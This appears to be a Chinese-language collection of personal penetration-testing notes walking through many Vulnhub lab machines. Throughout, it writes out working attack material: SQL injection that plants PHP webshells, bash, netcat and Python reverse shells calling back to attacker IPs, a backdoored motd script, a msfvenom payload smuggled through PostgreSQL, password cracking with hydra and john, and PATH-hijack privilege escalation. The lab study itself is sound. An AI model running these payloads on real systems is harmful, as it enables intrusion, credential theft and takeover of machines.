笔记1-20

https://www.cnblogs.com/jason-huawen/archive/2022/11.html

有一堆靶机writeup

https://www.jianshu.com/p/5b73a607e2ea 有反弹shell的代码

关于查不到ip文章

Ubuntu20.04,debian重置root密码/忘记密码/密码重置/linux - 知乎 (zhihu.com)debian切换换密码

vulnhub靶机检测不到IP地址解决办法_练靶机的时候靶机没ip怎么办-CSDN博客

解决虚拟机不分配ip问题

解决Vulnhub靶机IP分配问题-腾讯云开发者社区-腾讯云

进入Linux实例的单用户模式_云服务器 ECS(ECS)-阿里云帮助中心 进入单用户

ubuntu20.04无法自动分配IP问题 - 代码先锋网 (codeleading.com)

.重启网卡服务 /etc/init.d/networking restart这个成功过一次,gpt的都无

nullbyte(4种sql注入,history查看历史命令,利用软链接提权)

打靶思路:常规操作后,扫出目录phpadmin和upload 没思路了 web页面是一个图片加一句话 先file读一下看具体信息然后使用exiftools工具查看这个文件的创建时间、权限、内容等源数据信息,重点关注隐写了哪些信息,看到有一串字符串(可以使用strings命令或者直接用010editer等工具直接查看到)尝试了一下密码登入ssh,phpadmin都不行,看看是不是目录,是的有一个有key的界面,先想爆破试试

hydra 10.10.10.139 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l bossfrank -P /usr/share/wordlists/rockyou.txt

(使用hydra脚本爆破,由于是post请求,参数要添加http-form-post,用两个^包围要暴力破解的插值,并写上排除的字段invalid key(即出现哪些字符表示失败,这个是这个靶机页面当你输入错的key时出现的)。由于hydra脚本强制要求添加一个-l参数表示login登录账号,我们这里随便填写一个即可

hydra破解http的表单)破解出来了elite,登入

进入尝试出''闭合sql,查看源码发现420search.php这个后端文件有交互,除此之外也看不出啥了

红队的4种方法1.手工联合注入得到密码后ssh连接一下(记得改端口)

"order by 3 -- -

" union select database(),@@version,user() -- -

" union select table_schema, 2, 3 from information_schema.tables -- -

" union select table_name,2,3 from information_schema.tables where table_schema = "seth" -- -

" union select column_name,2,3 from information_schema.columns where table_schema = "seth" and table_name = "users" -- -

" union select id, user, pass from users -- -

echo 'YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE' | base64 -d

解出来一个md5再解一次omega,ssh登录ramses账号

ssh ramses@10.10.10.139 -p 777

2.SQL注入写入一句话木马,前提secure_file_priv参数要为空,而且要知道写入文件位置的绝对路径

正常可以先试再看原因,在爆破的时候看到了upload的目录可以试试

" union select "<?php system($_GET['a']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -

curl http://10.10.10.139/uploads/shell.php?a=cat%20/var/www/html/kzMb5nVYJw/420search.php

得到密码登录phpadmin然后select * from "user"看到ssh密钥

3.SQL注入写入反弹shell

" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/reverse.php" -- -

4.sqlmap梭哈

sqlmap -u 'http://10.10.10.139/kzMb5nVYJw/420search.php?usrtosearch=' --dump

也不用按照数据库、表、列、字段慢慢爆,干脆直接--dump看所有结果:

提权

常规的sudo -l 没显示 定时任务啥也没有 看一下history 可以发现运行了/var/www/backup/procwatch,那么我们也尝试进入这个目录,查看procwatch这个文件是干啥的:cd /var/www/backup ls -liah ,运行一下procwatch,看看发生了什么发现貌似还执行了两个命令,sh可能与shell相关,ps可能与进程相关。此时我们的提权思路就是将提权的代码写入procwatch的相关文件中

ln -s /bin/sh ps 首先建立一个软连接,将ps链接到/bin/sh

export PATH=.:$PATH 然后我们修改环境变量,将当前目录.追加到环境变量的最开始

此时运行procwatch即可提权成功

把proc的信息都删掉

FourAndSix2(nfs渗透,john破解转换为hash文件的.7z和rsa,doas中的less+vi提权)

常规nmap操作,可发现操作系统是OpenBSD,同时UDP扫描显示2049的UDP端口也开放(nfs)

nfs渗透

nfs全称为Network File Share网络共享文件模式,开启这个服务的系统可以指定某个目录作为nfs的服务地址,作为共享文件夹。我们可以首先使用showmount工具查看靶机是否有共享文件夹:showmount -e 10.10.10.143 可以看到共享目是/home/user/storage同时(everyone)表明任何人都可使用此共享目录。因此我们可以创建一个目录tmp,尝试能否将这个共享的目录/home/user/storage映射到我们创建的目录:

mkdir tmp mount -t nfs 10.10.10.143:/home/user/storage tmp

(mount用于挂载目录,-t是type的意思,指定为nfs共享文件模式)

只要进入tmp目录应该就能看到靶机/home/user/storage目录的内容

拿到backup.7z后把这个文件复制到上级目录(避免在挂载目录处理留下痕迹)

7z压缩包的密码破解

7z解压 7z x backup.7z

解压要密码,没有密码,报错出里面的内容

用john爆破由于john爆破只能针对hash文件,因此我们先用7z2john生成7z压缩包的哈希,名称为backup7z_hash

红队打靶:FourAndSix2.01打靶思路详解(vulnhub)_fourandsix2靶场-CSDN博客

这里有将7z2john转换hash出现错误的解决办法

sudo apt update sudo apt install libcompress-raw-lzma-perl

然后删掉错误生成的backup7z_hash,再次运行7z2john backup.7z > backup7z_hash应该就不会有报错了。查询结束。

生成7z的hash后,使用字典rockyou.txt进行压缩包的密码暴力破解,指定形式为7z格式:

john --format=7z --wordlist=/usr/share/wordlists/rockyou.txt backup7z_hash

--format=7z 参数指定了要使用的哈希格式。具体来说,这个参数告诉 John the Ripper 工具使用 7-Zip 压缩文件的哈希格式进行破解。

得到密码进去了,先查看图片

遇到文件 可以先file看一下啥类型binwalk 看文件有什么捆绑

遇到图片 可以先file看一下啥类型binwalk(binwalk hello) 看文件有什么捆绑 用exiftool看有没有隐写,里面有id_rsa和id_rsa.pub

cat一下id_rsa和.pub,,,,确实是openssh的私钥,直接尝试用私钥登录user用户要密码,就是私钥被加密了,与破解压缩包的思路类似,先将私钥生成john对应的hash文件,这里命名为id_rsa_hash:

ssh2john id_rsa > id_rsa_hash

john id_rsa_hash --wordlist=/usr/share/wordlists/rockyou.txt 得到密码再次连接

ssh -i id_rsa user@xx.xx.xx.xx

这边的提权是less+vi提权

find / -perm -u=s -type f 2>/dev/null 发现有doas指令类似于sudo,即以高权限运行指令需要添加的命令。由于doas指令是具有s位的,因此使用doas可以以高权限运行指令。我们要查找的就是有哪些指令可以免密doas运行(即类似于ubuntu/debian的Linux运行sudo -l 后有哪些免密sudo的指令),这就需要查找doas的配置信息了。我们直接用find搜索doas的相关文件: find / -name doas* -type f 2>/dev/null

发现一个doas.conf 查看一下,这个文件告诉我们,less和authlog指令是可以用doas免密以root权限运行的!那我们就运行试试:

img

doas /usr/bin/less /var/log/authlog 运行发现再用less读取authlog:

提权就是利用less中的vi

narak(webdav,tftp渗透,brainfuck语言,motd提权)

常规操作nmap

有80就爆破gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://10.10.10.144可以发现有一个/webdav,那我们浏览器访问这个目录,发现需要认证,看来很可能这里就是个突破口。其它的目录没什么用

加扩展名爆破试试,发现了tips.txt,提示我们通往narak的门的线索可以在creds.txt找到,直接访问creds.txt是不行

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x zip,rar,txt,sql,php,html -u http://10.10.10.144

之前扫描扫描udp的时候有个tftp

###这是一个简单文件传输协议,用来在客户端和服务端进行文件传输,这个协议设计的时候是进行小文件传输的。因此它不具备通常的FTP的许多功能,它只能从文件服务器上获得或写入文件,不能列出目录)

tftp 10.10.10.144

get creds.txt 我们输入quit退出tftp

cat一下creds.txt 貌似是个base64编码,我们解码一下:

cat creds.txt | base64 -d

yamdoot:Swarg

成功拿到了凭据,这很可能是最初webdav目录的访问凭据!

回到webdav页面:输入用户名yamdoot,密码Swarg进入页面

#####webdav是一个基于HTTP1.1的通信新协议,允许客户端发布、锁定和管理 Web 上的资源,那么我们现在就是企图获取webdav的权限,据此拿到初始shell。

有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:

davtest -url http://10.10.10.144/webdav -auth yamdoot:Swarg

发现是可以执行php文件的,因此我们可以尝试上传php类型的反弹shell

然后再利用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:

cadaver http://10.10.10.144/webdav 输入用户名和密码(yamdoot:Swarg) put shell.php

回到浏览器,可以看到我们上传的shell,那个DavTestDir_是我们刚刚用testdav工具尝试上传的目录:

监听后就可以提权了

find / -writable -type f -not -path "/proc/" -not -path "/sys/" -not -path "/var/*" 2>/dev/null

寻找可写文件 这些搜索排除那些路径下的

发现了一个可编辑的bash脚本hell.sh,还有一个users.password,除此之外还有一些update-motd.d下的文件,查看这个user.password

查看hell.sh

--[----->+<]>---.+++++.+.+++++++++++.--.+++[->+++<]>++.++++++.--[--->+<]>--.-----.++++.

这是名为brainfuck的编程语言

beef hell.bf 看一下是密码应该 chitragupt

查看/etc/passwd,寻找哪些账户有shell环境:

ssh inferno@10.10.10.144

find / -writable -type f -not -path "/proc/" -not -path "/sys/" -not -path "/var/*" 2>/dev/null

然后有一些motd的字眼,重点关注,进入/etc/update-motd.d/

然后ls -lahi 发现有一个00-header

MOTD(Message of the Day)是Linux系统登录时显示的一段信息,我们要重点关注00-header,这是linux在登录时会运行的显示欢迎信息的脚本,可以发现这个就脚本的所有者和所在组都是root,且此时inferno用户拥有对该文件的写权限,因此我们只要在这个文件中添加反弹shell的代码,当该脚本执行时即可触发反弹shell,我们先查看一下这个文档: echo "bash -c 'bash -i >& /dev/tcp/10.10.10.128/4444 0>&1'" >> 00-header

由 webdav 功能引发的 RCE-腾讯云开发者社区-腾讯云 这是一篇webdav的渗透(用bp)

Metasploitable/Apache/DAV - charlesreid1

Mercury(**路劲报错信息泄露,sql注入,联想linuxmaster用户,vi软连接tail提权,sudo利用的--preserve-env=PATH拒绝还原源环境)

常规烧苗有个8080端口 目录扫描它 后访问:http://192.168.9.80:8080/robots.txt

什么都没有,这边没思路了,在网址上随便输入一个文件,出现报错发现了一个新的目录:mercuryfacts/,访问,点击连接跳转页面,看到返回的页面,有id什么的,猜测有sql注入,加个'直接报错, sqlmap一把梭哈

sqlmap -r 11.txt --dbs sqlmap -r 11.txt -D mercury --tables sqlmap -r 11.txt -D mercury --dump

或则sqlmap -u http://10.10.10.6:8080/mercuryfacts/1 --dbms mysql -D mercury --dump

手工

union select database()
union select group_concat(table_name) from information_schema.tables where table_schema='mercury'.
union select group_concat(column_name) from information_schema.columns where table_schema='mercury' and table_name='users'
union all select group_concat(username,0x3a,password) from mercury.users

ssh只有webmaster可以用,查看home目录有个linuxmaster用户可能是root权限

提权时

先看webmaster的目录ls-a 进入mercury_proj目录找到了一个notes.txt文本 有个linuxmaster的密码(base64解码)

su linuxmaster

用软连接将vi装到tail里面

sudo -l 有个 .sh文件 ls -l 发现只有root权限才可以写入

cat一下 发现有个tail -n 10 /var/log.syslog

ln -s /bin/vi tail

export PATH=.:$PATH

echo $PATH

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

--preserve-env=PATH 这个是因为前面要设置环境变量

成功启动了一个vi :!bash

cd /tmp

touch tail

echo '/bin/bash' > tail

chmod 777 tail

export PATH=/tmp:$PATH

sudo运行时默认会启用env_reset选项将从命令行设置的环境变量复原,因此通常情况下,当使用 sudo 命令时,通过本地修改环境变量也没法替换目标文件来进行提权但如果sudo在配置时为用户设置了SETENV选项,情况就不一样了。SETENV会允许用户禁用env_reset选项,允许sudo使用当前用户命令行中设置的环境变量

指定使用当前环境变量 PATH

sudo --preserve-env=PATH /usr/bin/check_syslog.sh

nyx(敏感信息泄露密钥,gcc提权)

基础操作

在脚本扫描发现可疑目录http://192.168.1.137/d41d8cd98f00b204e9800998ecf8427e.php 有个key 是个私钥文件(在网页框上是mpampis key,可能是它的)

touch id_rsa gedit id_rsa

ssh -i id_rsa mpampis@192.168.1.137

sudo -l

gcc提权

sar(sarhtml命令执行漏洞)

扫描目录发现robots.txt,有个提示sarhtml

访问http://192.168.119.174/sar2HTML

发现这个页面可以上传文件,尝试上传一个一句话木马。但是找不到文件在哪

用谷歌查一下该程序的上传目录,或者在github寻找该程序的源码。192.168.110.131/sar2HTML/sarDATA/uPLOAD/php-reverse-shell.php这是文件上传后的路径

找到漏洞 这是命令执行漏洞 URLIP/sar2HTML/index.php?plot=;cat /etc/passwd

http://192.168.119.174/index.php?plot=;nc -e /bin/bash 192.168.119.130 4443

反弹没有成功,可能是靶机的nc禁用了-e参数,可以尝试一下另一种方法:

http://192.168.119.174/sar2HTML/index.php?plot=;python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.du

注意靶机上只安装了python3,所以用python来执行命令不会成功。

直接用sar2HTML命令执行漏洞也可以了,有个py脚本可以用

在网站根目录下ls -la

看到两个.sh文件,cat一下发现finally.sh里的内容就是执行write.sh文件,而write.sh文件的作用就是创建一个文件 /tmp/gateway。由此想到了计划任务提权,查看一下 定时任务的配置文件/etc/crontab

connect(摩斯密码,fuck脚本,断电文件,一个是tar可以读取root的flag,一个是polkit提权)

Connect-The-Dots靶场_阿凯6666的博客-CSDN博客

ssh,ftp,nfs都失败了 扫目录来到一个页面里面有一些css文件等的页面

有个cs文件很可疑里面的东西以下网址解密 jsfuck脚本(将前面的变量全删了还有“)

JSFuck - Write any JavaScript with 6 Characters: []()!+

CoderTab - JSUnFuck - Decode JSFuck Here

解密后得到norris的密码

然后ssh登入后枚举信息进一步渗透,

ls一下有个ftp ,进入,枚举有一些.bak文件想把他们下载下来

ftp登入下载文件ftp目录下的文件 (先prompt然后面不用一直确定,然后mget .

本地exiftool查看game.jpg.bak 里面有摩斯码,解密后有一个断电的消息和一个secretefile里面有信息可以访问

来到机器,find / -name secretfile 2>/dev/null

cat一下这这个文件,说自己快没电了

来到网站的html下 ls -laih下有一个.secretfile.swp ,下载下来看看(swp文件:是编辑器突然断电或 Ctrl+z 产生的文件)

wget http://192.168.16.160/.secretfile.swp

.swap是交互信息,vim非正常退出会有sawp

vim -h 查一下-r是recover crashed file

vim读.swap文件 得到密码(或则strings .secretfile.swp直接读了)

cat /etc/passwd | grep bash 看有哪些用户 su切换morris

用它提权试试

/sbin/getcap -r / 2>/dev/null后(用于递归地检查和列出根文件系统(“/”)中的文件和目录的文件功能。)

img要记一下tar后面的这串,这是可读可搜索可执行的权限

发现 tar具备cap_dac_read_search=ep 可用执行root来读取文件。

这个方法可以看tar

tar -zcvf root.tar.gz /root 打包root目录

ls

mv root.tat.gz root.tar.gz

tar -zxvf root.tar.gz

ls

cd root

cat root

提权 find找suid权限

ls -laih

用polkit( 操作文件需要权限它helper会给你一个界面,它有suid全面,看如何可以调用helper就可以提权 )

systemd-run(临时启用高权限的东西,,-t是伪终端 只要找一个调用hellp的伪终端就可以)

system-run -t /bin/bash

/home/xxxx目录下的一般可以尝试用户

hydra 穷举 ssh

用户名
​
morris
​
norris
​
hydra -L user -p TryToGuessThisNorris@2k19 ssh://192.168.1.103 -s 7822

image-20231011004501127

为啥下载不了,感觉因该是因为文件不在网站/var/www目录下所以不可以,登入ftp试试

TryToGuessThisNorris@2k19

me-and-mygirlfrind(x-forword-for本地访问,越权漏洞)

不知道为啥扫不到,但是是有分配ip的

10.4.29.132

查看这个页面源码提示我们可以通过x-forwarded-for伪装成本地访问

在这里插入图片描述

常规操作没发现,发现有一段语句要你用x-forwarded-for而且是本地,用bp的设置,然后在登入就可以出现新页面,直接注册一下,改一下id发现用户名换了,越权漏洞会暴露其它用户的信息,但是密码是***,查看源码看密码是明文不,是的,(或则按F12审查元素,找到password的input标签,将type从"password"改为"text",就可以看到密码了)枚举ssh,成功登入,提权sudo -l 看到php直接提权了

proxy >>options>>match and replace 增加一条规则 x-forwarded-for:localhost 用bp自带的游览器登入就可以了

提权简单就php就可以了

my_file_server1(本地制作密钥上传,这台靶机有内核提权的试错思路)

http://192.168.44.131/icons/

80页面的 的readme.txt得到密码

ftp先匿名登入无可用文件

smbmap爆破用户名 有个smbuser用户名,利用登入22但是没成功

sudo smbclient //192.168.xx.xx/smbdata 连接共享目录,只有smbdata可以匿名访问

看smbdata有什么内容

image-20231011202855704

看 sshd_config() 可以把上面的一些铭感文件都下载下来,查看文件

这一段代码表示只允许登入密钥 直接本地建立密钥对然后ftp上传公钥

image-20231011205815604

  1. 通过运行 ssh-keygen 创建 ssh 密钥对。

  2. 在挂载的共享 /home/smbuser/.ssh 上创建 .ssh 目录

  3. 将公钥内容复制到/home/smbuser/.ssh。

  4. SSH 到 smbuser@victim_ip

ssh-keygen -t rsa 创建公私钥对

借助上面列举的凭据“ smbuser:rootroot1 ”,我们登录到 FTP 并在 /home/smbuser 中创建一个名为 .ssh 的文件夹,然后尝试将我们在上述步骤中生成的 id_rsa.pub 作为authorized_keys 上传到.ssh 目录。

ftp 192.168.2.5
pwd
mkdir .ssh
cd .ssh
put /root/.ssh/.id_rsa.pub authorized_keys
exit

authorized_keys 文件是SSH(Secure Shell)协议用于身份验证的一部分。在SSH中,authorized_keys 文件包含了一组被授权的公钥,用于验证远程用户的身份。

当你使用SSH密钥对进行身份验证时,你会在服务器上的用户家目录下找到 ~/.ssh/ 目录。在这个目录中,authorized_keys 文件存储了所有被授权访问该用户账户的公钥。

每个公钥占据该文件的一行。当你尝试通过SSH连接到服务器时,服务器会检查你提供的私钥是否与 authorized_keys 文件中的任何公钥匹配。如果匹配成功,你就被允许访问服务器。

ssh -i id_rsa smbuser@192.168.2.5

进ftp 记得输入binary

这个是完善clear的环境变量 export TERM=term-color

提权

image-20231011203520941

正常的脏牛提权是需要筛选的没呢么简单

不知道脏牛直接搜索内核漏洞3.10的

searchsploit kernel 3.10

筛选可疑提权的

searchsploit kernel 3.10 Privilege Escalation

以下是踩坑的

下载

image-20231011204057135

vim看以下怎么使用

使用

image-20231011204216141

image-20231011204232284

没有rootshell无法使用

image-20231011204252782

放弃

再试一个33516 放弃也缺东西

当这样时可以网上查,也可以用linpeas看用哪个

image-20231011204640389

得筛选

image-20231011205018373

40616

Broken(xxd将16进制转换2进制,timedatectl提权)

纯属傻逼这么简单做了我快两小时 真傻逼我

第一个是16进制解码

使用 xxd 将十六进制文件恢复为其等效的二进制文件。-p 告诉 xxd 它是一个没有行号的普通十六进制文件。 $ xxd -r -p README.md > README.bin 然后使用 file 命令查看 README.bin 是什么样的文件。 $ file README.bin 它告诉你它是一个 jpeg。 使用您最喜欢的图像查看器打开。直接把改后缀为jpg就可,然后打开(cp)

提权,我弄了好多,瞎试了一堆,一开始sudo -l 就有timedatectl了,那东西我不熟

sudo timedatectl list-timezones ,下次遇到这种不熟的感觉有戏的直接上网查,

dpwwn1

这台靶机快

扫到mysql服务,直接空密码登入

show database;

use ssh;

show tables;

查到ssh账号密码 登入成功

提权用crontab提权

也可爆破mysql

hydra -l root -P ./rockyou.txt 192.168.229.143 mysql -f -e nsr

可以用fscan烧苗以下

.\fscan64.exe -h xx.xx.xx.xx

west-wild-v1.1(找可写文件是发现文件信息泄露)

提权

find / -writable -type f ! -path '/proc/*' 2>/dev/null

image-20231013134734676

哎,提权的时候没想到find找可写文件当时一直执着于上传文件

ctf(base64多次解密,命令执行反弹shell)

扫到目录,进去有段加密

image-20231013144752083

image-20231013145032930

提示有命令注入

直接cmd(这是感觉是这个参数)=nc反弹到kali(先ping了以下)

cmd=nc 192.168.44.143 6666 -e/bin/bash

image-20231013145330927

网站

mhz(scp下载文件,图片查看,)

Vulnhub之Mhz_c1f靶机详细测试过程 - Jason_huawen - 博客园 (cnblogs.com)

sudo scp a@xx.xx.xx.xx:/home/mhz_clf/paintings/* ./paintings

用ssh的scp下载 目录到本地的paintings下

xdg-open Russian\beauty.jepg

image-20231014112354997

可以看图片

steghide info Russian\beauty.jepg

image-20231014112515432

这个工具可以看隐写

image-20231014112717796

sudo steghide extract -sf spinning\the\wool.jpeg

-sf: 这是steghide命令的选项,用于指定要提取数据的载体文件

这个提取隐写的文件

image-20231014112814072

提权

EVM

这个是一个枚举工具 enum4linux -A 192.168,xx,xx

枚举出来的东西啥插件啊端口服务啊。可疑的可以直接用searchsploit找一下有没有漏洞

这个是前期扫描发现是wordpress然后wpsacn -eu是枚举用户

wpscan --url http://xx.xx.xx.xx/wordpress/ -eu

image-20231014235630583

cewl可以提取web页面的信息来制作密码本

image-20231014235715324

-p是指定密码 没扫到,用大字典,rockyou

image-20231014235734746

搜索一下邮件服务的漏洞,然后利用一下

image-20231015000024145

这个不行

看一下vim 25297

wpscan就枚举出了密码,然后登入一下有个登入页面的

image-20231015000315789

放个马子

Victim01_042220(802.11(无线网协议,nohup提权)

一开始常规扫描,都没什么发现

进入web看的页面是一段字,基本无可渗透的地方,看了前面爆破出的.txt文件里面有个类似账号密码的东西ssh没进去,然后爆破一下也不行,然后txt文件有个关于joomla的,就去查,其实感觉也不太可能,那个页面太捡漏了,浪费了些时间,没试出来,感觉不知道咋打了,看了一下答案,要基础有端口要记得去访问一下,然后看8999端口,有个.cap的文件值得怀疑,下载看看,发现是802.11`(无线网协议),上面的ssid像账号,

aircrack-ng -w /usr/share/wordlists/rockyou.txt WPA-01.cap 破解一下密码,登入ssh,先sudo -l 发现dlink用户可以无需密码执行/usr/bin/TryHarder!,但是无这个文件,思路是可以创建一个,但没权限,看crontab,有个定时任务,可是也没有,然后找suid文件,有个nohup

查找nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)",成功提权

Typhoon

这台靶机的漏洞很多,在看目录时有个Disallow: /mongoadmin/这个信息当时没想着当目录访问,错过了信息,redis想用未授权,但是软件下载不了(得去排查一下,不过这台靶机的redis是不行的),mysql空登入不行,没想到postgresql的漏洞,看答案才知道的,然后是nfs不行,一直执着于lotus cms 还有个drupal cms没想到

Disallow: /mongoadmin/

点击change database出现creds 点击creds,会发现一个账号密码

一文了解 Redis 未授权访问漏洞-腾讯云开发者社区-腾讯云 (tencent.com)这是redis的

ssh用户枚举漏洞进行测试

可以用cewl制作字典 cewl http://192.168.44.142/ -w user.txt

searchsploit ssh

40136.py

python 40136.py 192.168.44.142 -U user.txt

端口(smtp)

在测试时没有测试成功

nc 192.168.56.150 25

nfs

msf> use auxiliary/scanner/nfs/nfsmount

show option

set rhosts 靶机ip

exploit

5432端口(postgresql)

use auxiliary/scanner/postgres/postgres_login set rhosts 192.168.56.150 exploit

得到账号密码

登录数据库

psql -h 192.168.56.150 -U postgres

列下目录

select pg_ls_dir('./');

读取权限允许的文件

select pg_read_file('postgresql.conf',0,1000);

建表,并使用copy从文件写入数据到表

DROP TABLE if EXISTS MrLee;`
`CREATE TABLE MrLee(t TEXT);`
`COPY MrLee FROM '/etc/passwd';`
`SELECT * FROM MrLee limit 1 offset 0;

SELECT * FROM MrLee;

这个记得按q退出select才能执行以下命令

利用数据库写文件

INSERT INTO MrLee(t) VALUES ('hello,MrLee');

COPY MrLee(t) TO '/tmp/MrLee';

SELECT * FROM MrLee;

会显示里面有一句hello,MrLee 如上可见,文件可以成功写入,并成功读取到源内容。

接下来就可以利用 “大对象” 数据写入法

SELECT lo_create(6666);

delete from pg_largeobject where loid=6666;

接下来向”大对象”数据写入数据(木马),使用hex:

在写数据之前,先生成一个木马

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=6666 R > /Desktop/shell.php

打开这个shell.php复制转换成16进制

insert into pg_largeobject (loid,pageno,data) values(6666, 0, decode('.....', 'hex'));

导出数据到指定文件:

SELECT lo_export(6666, '/var/www/html/shell.php');

//默认导出到安装根目录 也可以带路径自由目录写shell

先msf开启监听,然后http://192.168.56.150/shell.php

6379端口(redis)

redis-cli安装

wget http://download.redis.io/redis-stable.tar.gz

tar -zxvf redis-stable.tar.gz

cd redis-stable make //全局生效 cp src/redis-cli /usr/bin/

redis-cli -h 192.168.56.150

这个漏洞有三种方法利用 1.利用redis写webshell 2.利用”公私钥”认证获取root权限 3.利用crontab反弹shell 这三种方法都能可以,但就是利用不了,在这个点我弄了很多遍,决定放弃但在最后发现我写的文件都存在靶机里,原因是那些文件都没有更高的执行权限,所以导致都导致利用不了。

https://www.cnblogs.com/bmjoker/p/9548962.html

Lotus CMS

image-20231016104244688

use exploit/multi/http/lcms_php_exec

set rhost 靶机ip

set uri /cms/

exploit

Drupal CMS

use exploit/unix/webapp/drupal_drupalgeddon2

set rhost 靶机ip

set targeturi /drupal

exploit

tomca(8080)

image-20231015164351841

使用Metasploits Tomcat Manager的默认用户名tomcat和默认密码tomcat登录到tomcat管理后台。 也可以用msf的multi/http/tomcat_mgr_login

image-20231015164449748

msf6 exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.44.142 rhost => 192.168.44.142 msf6 exploit(multi/http/tomcat_mgr_upload) > set rport 8080 rport => 8080 msf6 exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat httppassword => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat httpusername => tomcat msf6 exploit(multi/http/tomcat_mgr_upload) > run

info 查看漏洞信息

bulldog(敏感信息目录泄露,命令执行漏洞)

vulnhub靶机bulldog渗透笔记-CSDN博客

扫描目录在/dev下点击web-shell进入一个页面,有一堆邮箱密码啥的

解密密码

爆破得到 邮箱账户:nick 密码:bulldog 邮箱账户:sarah 密码:bulldoglover

登入admin页面,再去点击web-shell来到一个有命令执行漏洞的页面

ls & echo "bash -i >& /dev/tcp/192.168.75.128/9966 0>&1" | bash

终结一下,没打完,最后那个命令执行的&绕过过不去,不知道是不是自己反弹shell的问题

提权稍微看了一下还算简单

文章中的思路可以借鉴一下虽然没成功,可以将本地编译py脚本 ls&wget上传脚本 执行脚本ls & wget http://192.168.75.128:8080/shell.py

pwd & php shell.py

import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.commect(("192.168.75.128",9988)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"])

blackrouse(php strcmp绕过,aes加密,rot47加密,提权,简单waf绕过)

[+] SHA-256 22 80 3306 [+] Haval-256

<input type="hidden" id="logcsrf" value="907af4e9ba33887c0b2d14e3d4ac771463b53ed7efffb3b66f85aefd3fae4e87">

3.1 PHP strcmp()函数

int strcmp( string $str1 , string $str2 ),用来比较两个字符串的值,

参数 str1第一个字符串。

str2第二个字符串。如果 str1 小于 str2 返回 0;如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

当传入的值不符合期望的类型就会报错,在php5.3以前,在报错信息显示后,将return 0,这也就导致了漏洞的产生。

后面的版本中修复了这个漏洞,使得报错的时候函数不返回任何值。

找有执行权限的

find / -type f -user delx

Bcrypt Encrypt - Bcrypt Hash Generator - Online - Browserling Web Developer Tools

ida解密

AES encryption aes解密网站

gqSFGqAJ

JqT/3t/ucYLw/dlb6c5PzmQM9lRYjuRIPgCmcHP+RTE= 这是aes加密

image-20231017224918539

s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR,rot47加密

c DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#

知识点

遇到登入框(passwd[]=1绕过)

登录绕过(逻辑问题,语言特性),sql注入(万能密码),弱口令(爆破),二次注入,注册覆盖,未授权访问(目录扫描)

签名加密(签名的加密方式bcrypt)

一般辨认加密有hash-identifier 和jojn破解hash文件看是什么加密

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.22 1234 >/tmp/f使用这串反弹shell的代码在bcrypt ”中生成一个哈希值,然后再前端代码中改成它的key值,然后输入反弹shell的代码就反弹了

一般有key的话就是对称加密算法,常见的对称加密算法有DES、3DES、Blowfish、IDEA、RC4、RC5、RC6 和 AES。

提权

sudo-l

img

发现了delx用户有动态链接库文件ld.so,执行sudo -u delx /bin/ld.so /bin/bash,想获取delx权限(还有一个切换delx的方法是在它的目录下发现了ssh密钥可以读,然后vim到本机转换成hash文件,用john破解就可以了)

切换用户后执行find / -type f -user delx 2>/dev/null

img

showpasswd是一个执行文件,但实际上执行后会显示一条消息。遇到这种情况就要分析代码了。使用scp命令将该文件传到本机

scp ./showPassword kali@192.168.44,143:/home/kali/

简单分析后得到了gqSFGqAJ字符串。然而这个时候并不知道这个字符串有什么用途,又到了脑洞时间。

在文件还有一长串字符串没有用到,猜测是需要使用字符串当key去解。就是上面绿框的东西,然后是aes加密

可以得到一个字符串:RkZiPVkvxykJVOmxBmitBPeJXqFuxM

在与所有 3 位用户测试此密钥后,它对他们中的任何一个都不起作用,,这里有一个点,就是首页背景图片中也隐藏了信息,需要用上面的key进行解密。

sudo steghide extract -sf /home/kali/background-image.jpg

查看内容为:s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR

经过各种可能的方法,我们最终解密为“ ROT47 ”。

解密出来是:DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#

使用该密码登入yourname这个用户,获取第一个文件。

依旧先使用sudo -l命令查看相关命令执行权限,发现blackrose这个命令,执行后发现还是无法读取root文件。sudo blackrose(sudo -u root /usr/bin/blackrose)

img

它可以读文件,看起来是存在了某种限制,经过一番搜索后,发现可以使用PHP后缀文件。

写一个php文件<?php system('/bin/bash'); ?> 但是不行,提示有危险函数

利用

<?php sy.(st).em('/bin/bash'); ?>绕过

总结

首先还是常规扫描,有22,80,3306,3306未授权不行,目录烧苗没什么有价值的,web页面是一个登入框,常规登入绕过(登入绕过呀,sql注入呀,弱口令呀,注册覆盖呀,未授权访问(目录扫描)),不行,注册一个没什么用,权限不够,试一下admin的,得到密码错误,确认admin账号,bp抓包,利用passwd[]=1绕过(Login Bypass | HackTricks | HackTricks),来到一个页面,可以输入命令,限制是只能whoami,识别一下上面的密文,hash-identifier不行,用join -wordlist=/xx/xx /home/hash 识别出事bcrypt,(Bcrypt Encrypt - Bcrypt Hash Generator - Online - Browserling Web Developer Tools )对反弹shell命令加密,然后改掉原来页面的whoami加密代码,kali监听,执行命令

